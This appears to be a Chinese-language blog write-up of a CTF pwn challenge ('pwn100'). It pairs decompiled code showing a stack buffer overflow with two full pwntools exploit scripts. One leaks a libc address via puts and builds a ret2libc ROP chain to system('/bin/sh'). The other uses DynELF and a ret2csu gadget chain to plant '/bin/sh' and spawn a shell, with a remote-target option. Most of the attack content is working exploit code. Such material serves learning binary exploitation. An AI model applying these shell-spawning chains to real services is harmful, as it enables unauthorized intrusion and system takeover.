int sub_40068E()
{
char v1; // [sp+0h] [bp-40h]@1
sub_40063D((__int64)&v1, 0xC8u); //泄露点
return puts("bye~");
}
************************************************************
__int64 __fastcall sub_40063D(__int64 a1, unsigned int a2)
{
__int64 result; // rax@3
unsigned int i; // [sp+1Ch] [bp-4h]@1
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= (signed int)a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}
思考
1.开始接触这个题,我想直接泄露一个函数的地址,得到libc_base
,然后构建我们的system_addr
和bin_sh_addr
。
2.看见put
函数比较亲切,我们可以泄露地址啦!(啦啦啦)
3.看完大牛的wp
后,思考:发现这是我们知道gLibc
的远程服务器版本需要与我们的版本相同,才可以使用我们本地泄露的地址(引入一个名词"DynELF"
)(应该是爆破出来远程的服务器的gLibc
的基地址)
4.太菜了,自己还是常规思路吧
小白常规思路(大牛的思路还没看懂,看懂补发...)
1.泄露libc
的偏移地址(不会啊!:参考使用libc-datebase
(很好用的一个工具)或者https://libc.blukat.me/)
手工制图时刻
重点讲解补充:start_addr
(和下面的sub_40068E
效果一样)
1.如果使用pop
清除栈又会导致栈顶下降,多执行几次就会耗尽栈空间。这里我们可以把返回地址改成start
段的地址.
2.这段代码是编译器添加的,用于初始化程序的运行环境后,执行完相应的代码后会跳转到程序的入口函数main运行程序代码。因此,在执行完puts
函数泄露数据后,我们可以返回到这里刷新一遍程序的环境,相当于是重新执行了一遍程序。
注:我们通过libc-datebase
的偏移地址,我们最好全部直接cp
到脚本里,这样就太方便了。(减少脑细胞死亡 嘻嘻)
补充:数据打包和数据输出
* p32/p64: 打包一个整数,分别打包为32或64位
* u32/u64: 解包一个字符串,得到整数
*********************************************
some_str = "hello, world"
log.info(some_str) //小心擦肩而过,冥冥中只看了一眼,却忘了她的名字
常规EXP
from pwn import*
#p = process('./pwn100')
DEBUG = 1 ##//可以双管齐下的调试方式,偷过来!
if DEBUG:
# context.log_level = 'debug' //调试感觉太乱,小白不建议用
p = process('./pwn100')
gdb.attach(p) ##//暂停程序里面调试 没必要可以关闭
else:
p = remote('ip','prot')
offset___libc_start_main_ret = 0x20830 ##//管他能不能用先全cp过来 减少二次查找
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
pop_rdi_ret = 0x0400763
puts_plt = 0x400500
read_got = 0x0601028
sub_40068E = 0x40068E ==(效果一样) start_addr = 400550 ##//亲测
def mini_tutu():
payload = 'a'*72 + p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(sub_40068E)
payload = payload.ljust(200)
p.sendline(payload)
p.recv(4) ##作用:拷贝数据到buf中
addr_read = u64(p.recvn(6).ljust(8,'\x00')) ##recvn:指定读取数据
print 'read: '+hex(addr_read)
addr_libc = addr_read - offset_read
addr_system = addr_libc + offset_system
addr_binsh = addr_libc + offset_str_bin_sh
print 'libc: ' + hex(addr_libc)
print 'system: ' + hex(addr_system)
print 'binsh: ' + hex(addr_binsh)
payload2 = 'b'*72 + p64(pop_rdi_ret) + p64(addr_binsh) + p64(addr_system) + p64(0xdeadbeef)
payload2 = payload2.ljust(200)
p.sendline(payload2)
p.interactive()
if __name__ == '__main__':
mini_tutu()
泄露/bin/sh的方法集合
strings -tx libc.so.6 |grep "/bin/sh"
ROPgadget --binary libc.so.6 --string "/bin/sh"
使用DynELF方法泄露libc基址
奋斗#!/usr/bin/python
#coding:utf-8
from pwn import*
p = process('./pwn100')
elf = ELF("./pwn100")
put_addr = elf.plt['puts']
read_addr = elf.got['read']
print "*********************"
print "[+]put_addr:" +hex(put_addr)
print "[+]read_addr:" + hex(read_addr)
print "*********************"
start_addr = 0x400550
pop_rdi_addr = 0x400763
bin_sh_addr = 0x601088 ##一个可以写/bin/sh的地址,date和bss段试验过不行, 我们超过IDA里面最大的地址即可
pop6_addr = 0x40075a
mov_call_r12_addr = 0x400740
def leak(addr):
count = 0
up = ''
countent = ''
payload = 'A'*72
payload += p64(pop_rdi_addr)
payload += p64(addr) #?
payload += p64(put_addr)
payload += p64(start_addr)
payload = payload.ljust(200,'B') #200
p.send(payload)
p.recvuntil("bye~\n")
while True:
c = p.recv( numb= 1 ,timeout = 0.1)
count += 1
if up == '\n' and c == "":
countent = countent[:-1] + '\x00'
break
else:
countent += c
up = c
countent = countent[:4]
log.info("%#x => %s"%(addr,(countent or '').encode('hex')))
return countent
d = DynELF(leak,elf = elf) ##//泄露的入口
system_addr = d.lookup('system','libc')
log.info("system_addr = %#x",system_addr)
payload = "A"*72
payload += p64(pop6_addr)
payload += p64(0)
payload += p64(1)
payload += p64(read_addr)
payload += p64(8)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(mov_call_r12_addr)
payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200,"B")
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
payload = "A"*72
payload += p64(pop_rdi_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,"A")
p.send(payload)
p.interactive()
网友评论